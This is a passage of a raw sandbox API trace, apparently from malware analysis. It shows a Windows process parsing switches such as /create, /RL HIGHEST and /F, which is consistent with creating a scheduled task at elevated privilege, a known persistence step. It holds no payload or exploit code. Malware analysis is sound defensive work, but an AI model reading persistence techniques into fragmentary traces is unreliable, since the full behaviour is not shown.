(lpFirst="|ru|", lpSrch="|RL|") returned 0x0 [0086.390] SetLastError (dwErrCode=0x490) [0086.390] lstrlenW (lpString="rp") returned 2 [0086.390] lstrlenW (lpString="rp") returned 2 [0086.390] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.390] lstrlenW (lpString="RL") returned 2 [0086.390] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.390] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|rp|") returned 4 [0086.390] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.390] lstrlenW (lpString="|rp|") returned 4 [0086.390] lstrlenW (lpString="|RL|") returned 4 [0086.390] StrStrIW (lpFirst="|rp|", lpSrch="|RL|") returned 0x0 [0086.390] SetLastError (dwErrCode=0x490) [0086.390] lstrlenW (lpString="sc") returned 2 [0086.390] lstrlenW (lpString="sc") returned 2 [0086.390] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.390] lstrlenW (lpString="RL") returned 2 [0086.390] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.390] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|sc|") returned 4 [0086.390] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.390] lstrlenW (lpString="|sc|") returned 4 [0086.390] lstrlenW (lpString="|RL|") returned 4 [0086.390] StrStrIW (lpFirst="|sc|", lpSrch="|RL|") returned 0x0 [0086.390] SetLastError (dwErrCode=0x490) [0086.390] lstrlenW (lpString="mo") returned 2 [0086.390] lstrlenW (lpString="mo") returned 2 [0086.390] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.390] lstrlenW (lpString="RL") returned 2 [0086.390] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.390] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|mo|") returned 4 [0086.390] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.390] lstrlenW (lpString="|mo|") returned 4 [0086.390] lstrlenW (lpString="|RL|") returned 4 [0086.390] StrStrIW (lpFirst="|mo|", lpSrch="|RL|") returned 0x0 [0086.390] SetLastError (dwErrCode=0x490) [0086.390] lstrlenW (lpString="d") returned 1 [0086.390] lstrlenW (lpString="d") returned 1 [0086.391] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.391] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.391] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|d|") returned 3 [0086.391] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.391] lstrlenW (lpString="|d|") returned 3 [0086.391] lstrlenW (lpString="|RL|") returned 4 [0086.391] SetLastError (dwErrCode=0x490) [0086.391] lstrlenW (lpString="m") returned 1 [0086.391] lstrlenW (lpString="m") returned 1 [0086.391] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.391] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.391] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|m|") returned 3 [0086.391] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.391] lstrlenW (lpString="|m|") returned 3 [0086.391] lstrlenW (lpString="|RL|") returned 4 [0086.391] SetLastError (dwErrCode=0x490) [0086.391] lstrlenW (lpString="i") returned 1 [0086.391] lstrlenW (lpString="i") returned 1 [0086.391] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.391] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.391] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|i|") returned 3 [0086.391] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.391] lstrlenW (lpString="|i|") returned 3 [0086.391] lstrlenW (lpString="|RL|") returned 4 [0086.391] SetLastError (dwErrCode=0x490) [0086.391] lstrlenW (lpString="tn") returned 2 [0086.391] lstrlenW (lpString="tn") returned 2 [0086.392] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.392] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.392] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tn|") returned 4 [0086.392] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.392] lstrlenW (lpString="|tn|") returned 4 [0086.392] lstrlenW (lpString="|RL|") returned 4 [0086.392] StrStrIW (lpFirst="|tn|", lpSrch="|RL|") returned 0x0 [0086.392] SetLastError (dwErrCode=0x490) [0086.392] lstrlenW (lpString="tr") returned 2 [0086.392] lstrlenW (lpString="tr") returned 2 [0086.392] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.392] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.392] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tr|") returned 4 [0086.392] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.392] lstrlenW (lpString="|tr|") returned 4 [0086.392] lstrlenW (lpString="|RL|") returned 4 [0086.392] StrStrIW (lpFirst="|tr|", lpSrch="|RL|") returned 0x0 [0086.392] SetLastError (dwErrCode=0x490) [0086.392] lstrlenW (lpString="st") returned 2 [0086.392] lstrlenW (lpString="st") returned 2 [0086.392] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.392] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.392] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|st|") returned 4 [0086.392] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.392] lstrlenW (lpString="|st|") returned 4 [0086.392] lstrlenW (lpString="|RL|") returned 4 [0086.392] StrStrIW (lpFirst="|st|", lpSrch="|RL|") returned 0x0 [0086.392] SetLastError (dwErrCode=0x490) [0086.392] lstrlenW (lpString="sd") returned 2 [0086.392] lstrlenW (lpString="sd") returned 2 [0086.392] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.392] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.393] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|sd|") returned 4 [0086.393] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.393] lstrlenW (lpString="|sd|") returned 4 [0086.393] lstrlenW (lpString="|RL|") returned 4 [0086.393] StrStrIW (lpFirst="|sd|", lpSrch="|RL|") returned 0x0 [0086.393] SetLastError (dwErrCode=0x490) [0086.393] lstrlenW (lpString="ed") returned 2 [0086.393] lstrlenW (lpString="ed") returned 2 [0086.393] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.393] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.393] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|ed|") returned 4 [0086.393] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.393] lstrlenW (lpString="|ed|") returned 4 [0086.393] lstrlenW (lpString="|RL|") returned 4 [0086.393] StrStrIW (lpFirst="|ed|", lpSrch="|RL|") returned 0x0 [0086.393] SetLastError (dwErrCode=0x490) [0086.393] lstrlenW (lpString="it") returned 2 [0086.393] lstrlenW (lpString="it") returned 2 [0086.393] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.393] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.393] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|it|") returned 4 [0086.393] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.393] lstrlenW (lpString="|it|") returned 4 [0086.393] lstrlenW (lpString="|RL|") returned 4 [0086.393] StrStrIW (lpFirst="|it|", lpSrch="|RL|") returned 0x0 [0086.394] SetLastError (dwErrCode=0x490) [0086.394] lstrlenW (lpString="et") returned 2 [0086.394] lstrlenW (lpString="et") returned 2 [0086.394] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.394] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.394] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|et|") returned 4 [0086.394] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.394] lstrlenW (lpString="|et|") returned 4 [0086.394] lstrlenW (lpString="|RL|") returned 4 [0086.394] StrStrIW (lpFirst="|et|", lpSrch="|RL|") returned 0x0 [0086.394] SetLastError (dwErrCode=0x490) [0086.394] lstrlenW (lpString="k") returned 1 [0086.394] lstrlenW (lpString="k") returned 1 [0086.394] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.394] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.394] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|k|") returned 3 [0086.394] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.394] lstrlenW (lpString="|k|") returned 3 [0086.394] lstrlenW (lpString="|RL|") returned 4 [0086.394] SetLastError (dwErrCode=0x490) [0086.394] lstrlenW (lpString="du") returned 2 [0086.394] lstrlenW (lpString="du") returned 2 [0086.394] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.394] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.394] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|du|") returned 4 [0086.394] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.394] lstrlenW (lpString="|du|") returned 4 [0086.394] lstrlenW (lpString="|RL|") returned 4 [0086.394] StrStrIW (lpFirst="|du|", lpSrch="|RL|") returned 0x0 [0086.394] SetLastError (dwErrCode=0x490) [0086.394] lstrlenW (lpString="ri") returned 2 [0086.394] lstrlenW (lpString="ri") returned 2 [0086.394] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.394] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.395] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|ri|") returned 4 [0086.395] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.395] lstrlenW (lpString="|ri|") returned 4 [0086.395] lstrlenW (lpString="|RL|") returned 4 [0086.395] StrStrIW (lpFirst="|ri|", lpSrch="|RL|") returned 0x0 [0086.395] SetLastError (dwErrCode=0x490) [0086.395] lstrlenW (lpString="z") returned 1 [0086.395] lstrlenW (lpString="z") returned 1 [0086.395] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.395] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.395] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|z|") returned 3 [0086.395] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.395] lstrlenW (lpString="|z|") returned 3 [0086.395] lstrlenW (lpString="|RL|") returned 4 [0086.395] SetLastError (dwErrCode=0x490) [0086.395] lstrlenW (lpString="f") returned 1 [0086.395] lstrlenW (lpString="f") returned 1 [0086.395] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.395] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.395] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|f|") returned 3 [0086.395] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.395] lstrlenW (lpString="|f|") returned 3 [0086.395] lstrlenW (lpString="|RL|") returned 4 [0086.395] SetLastError (dwErrCode=0x490) [0086.395] lstrlenW (lpString="v1") returned 2 [0086.395] lstrlenW (lpString="v1") returned 2 [0086.395] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.395] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.395] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|v1|") returned 4 [0086.395] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.395] lstrlenW (lpString="|v1|") returned 4 [0086.395] lstrlenW (lpString="|RL|") returned 4 [0086.395] StrStrIW (lpFirst="|v1|", lpSrch="|RL|") returned 0x0 [0086.396] SetLastError (dwErrCode=0x490) [0086.396] lstrlenW (lpString="xml") returned 3 [0086.396] lstrlenW (lpString="xml") returned 3 [0086.396] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.396] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.396] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|xml|") returned 5 [0086.396] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.396] lstrlenW (lpString="|xml|") returned 5 [0086.396] lstrlenW (lpString="|RL|") returned 4 [0086.396] StrStrIW (lpFirst="|xml|", lpSrch="|RL|") returned 0x0 [0086.396] SetLastError (dwErrCode=0x490) [0086.396] lstrlenW (lpString="ec") returned 2 [0086.396] lstrlenW (lpString="ec") returned 2 [0086.396] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.396] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.396] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|ec|") returned 4 [0086.396] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.396] lstrlenW (lpString="|ec|") returned 4 [0086.396] lstrlenW (lpString="|RL|") returned 4 [0086.396] StrStrIW (lpFirst="|ec|", lpSrch="|RL|") returned 0x0 [0086.396] SetLastError (dwErrCode=0x490) [0086.396] lstrlenW (lpString="rl") returned 2 [0086.396] lstrlenW (lpString="rl") returned 2 [0086.396] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.396] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.396] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|rl|") returned 4 [0086.396] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.396] lstrlenW (lpString="|rl|") returned 4 [0086.396] lstrlenW (lpString="|RL|") returned 4 [0086.396] StrStrIW (lpFirst="|rl|", lpSrch="|RL|") returned="|rl|" [0086.396] SetLastError (dwErrCode=0x0) [0086.396] SetLastError (dwErrCode=0x0) [0086.396] lstrlenW (lpString="HIGHEST") returned 7 [0086.396] lstrlenW (lpString="-/") returned 2 [0086.397] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0086.397] SetLastError (dwErrCode=0x490) [0086.397] SetLastError (dwErrCode=0x490) [0086.397] SetLastError (dwErrCode=0x0) [0086.397] lstrlenW (lpString="HIGHEST") returned 7 [0086.397] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0086.397] SetLastError (dwErrCode=0x490) [0086.397] SetLastError (dwErrCode=0x0) [0086.397] _memicmp (_Buf1=0x744e70, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.397] lstrlenW (lpString="HIGHEST") returned 7 [0086.397] lstrlenW (lpString="HIGHEST") returned 7 [0086.397] lstrlenW (lpString=" \x09") returned 2 [0086.397] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0086.397] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0086.397] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0086.397] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0086.397] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0086.397] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0086.397] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0086.397] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0086.397] GetLastError () returned 0x0 [0086.397] lstrlenW (lpString="HIGHEST") returned 7 [0086.397] lstrlenW (lpString="HIGHEST") returned 7 [0086.397] SetLastError (dwErrCode=0x0) [0086.397] SetLastError (dwErrCode=0x0) [0086.397] lstrlenW (lpString="/F") returned 2 [0086.397] lstrlenW (lpString="-/") returned 2 [0086.397] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.397] lstrlenW (lpString="create") returned 6 [0086.397] lstrlenW (lpString="create") returned 6 [0086.397] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.397] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.397] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|create|") returned 8 [0086.397] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.397] lstrlenW (lpString="|create|") returned 8 [0086.397] lstrlenW (lpString="|F|") returned 3 [0086.397] StrStrIW (lpFirst="|create|", lpSrch="|F|") returned 0x0 [0086.397] SetLastError (dwErrCode=0x490) [0086.397] lstrlenW (lpString="?") returned 1 [0086.397] lstrlenW (lpString="?") returned 1 [0086.398] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.398] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.398] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|?|") returned 3 [0086.398] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.398] lstrlenW (lpString="|?|") returned 3 [0086.398] lstrlenW (lpString="|F|") returned 3 [0086.398] StrStrIW (lpFirst="|?|", lpSrch="|F|") returned 0x0 [0086.398] SetLastError (dwErrCode=0x490) [0086.398] lstrlenW (lpString="s") returned 1 [0086.398] lstrlenW (lpString="s") returned 1 [0086.398] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.398] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.398] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|s|") returned 3 [0086.398] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.398] lstrlenW (lpString="|s|") returned 3 [0086.398] lstrlenW (lpString="|F|") returned 3 [0086.398] StrStrIW (lpFirst="|s|", lpSrch="|F|") returned 0x0 [0086.398] SetLastError (dwErrCode=0x490) [0086.398] lstrlenW (lpString="u") returned 1 [0086.398] lstrlenW (lpString="u") returned 1 [0086.398] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.398] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.398] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|u|") returned 3 [0086.398] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.398] lstrlenW (lpString="|u|") returned 3 [0086.398] lstrlenW (lpString="|F|") returned 3 [0086.398] StrStrIW (lpFirst="|u|", lpSrch="|F|") returned 0x0 [0086.398] SetLastError (dwErrCode=0x490) [0086.398] lstrlenW (lpString="p") returned 1 [0086.398] lstrlenW (lpString="p") returned 1 [0086.398] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.398] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.399] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|p|") returned 3 [0086.399] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.399] lstrlenW (lpString="|p|") returned 3 [0086.399] lstrlenW (lpString="|F|") returned 3 [0086.399] StrStrIW (lpFirst="|p|", lpSrch="|F|") returned 0x0 [0086.399] SetLastError (dwErrCode=0x490) [0086.399] lstrlenW (lpString="ru") returned 2 [0086.399] lstrlenW (lpString="ru") returned 2 [0086.399] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.399] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.399] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|ru|") returned 4 [0086.399] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.399] lstrlenW (lpString="|ru|") returned 4 [0086.399] lstrlenW (lpString="|F|") returned 3 [0086.399] StrStrIW (lpFirst="|ru|", lpSrch="|F|") returned 0x0 [0086.399] SetLastError (dwErrCode=0x490) [0086.399] lstrlenW (lpString="rp") returned 2 [0086.399] lstrlenW (lpString="rp") returned 2 [0086.399] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.399] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.399] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|rp|") returned 4 [0086.399] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.399] lstrlenW (lpString="|rp|") returned 4 [0086.399] lstrlenW (lpString="|F|") returned 3 [0086.399] StrStrIW (lpFirst="|rp|", lpSrch="|F|") returned 0x0 [0086.399] SetLastError (dwErrCode=0x490) [0086.399] lstrlenW (lpString="sc") returned 2 [0086.399] lstrlenW (lpString="sc") returned 2 [0086.399] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.399] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.399] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|sc|") returned 4 [0086.399] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.399] lstrlenW (lpString="|sc|") returned 4 [0086.399] lstrlenW (lpString="|F|") returned 3 [0086.400] StrStrIW (lpFirst="|sc|", lpSrch="|F|") returned 0x0 [0086.400] SetLastError (dwErrCode=0x490) [0086.400] lstrlenW (lpString="mo") returned 2 [0086.400] lstrlenW (lpString="mo") returned 2 [0086.400] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.400] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.400] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|mo|") returned 4 [0086.400] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.400] lstrlenW (lpString="|mo|") returned 4 [0086.400] lstrlenW (lpString="|F|") returned 3 [0086.400] StrStrIW (lpFirst="|mo|", lpSrch="|F|") returned 0x0 [0086.400] SetLastError (dwErrCode=0x490) [0086.400] lstrlenW (lpString="d") returned 1 [0086.400] lstrlenW (lpString="d") returned 1 [0086.400] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.400] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.400] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|d|") returned 3 [0086.400] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.400] lstrlenW (lpString="|d|") returned 3 [0086.400] lstrlenW (lpString="|F|") returned 3 [0086.400] StrStrIW (lpFirst="|d|", lpSrch="|F|") returned 0x0 [0086.400] SetLastError (dwErrCode=0x490) [0086.400] lstrlenW (lpString="m") returned 1 [0086.400] lstrlenW (lpString="m") returned 1 [0086.400] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.400] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.400] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|m|") returned 3 [0086.400] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|F|") returned 3 [0086.400] lstrlenW (lpString="|m|") returned 3 [0086.400] lstrlenW (lpString="|F|") returned 3 [0086.400] StrStrIW (lpFirst="|m|", lpSrch="|F|") returned 0x0 [0086.400] SetLastError (dwErrCode=0x490) [0086.400] lstrlenW (lpString="i") returned 1 [0086.400] lstrlenW (lpString="i") returned 1 [0086.401] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 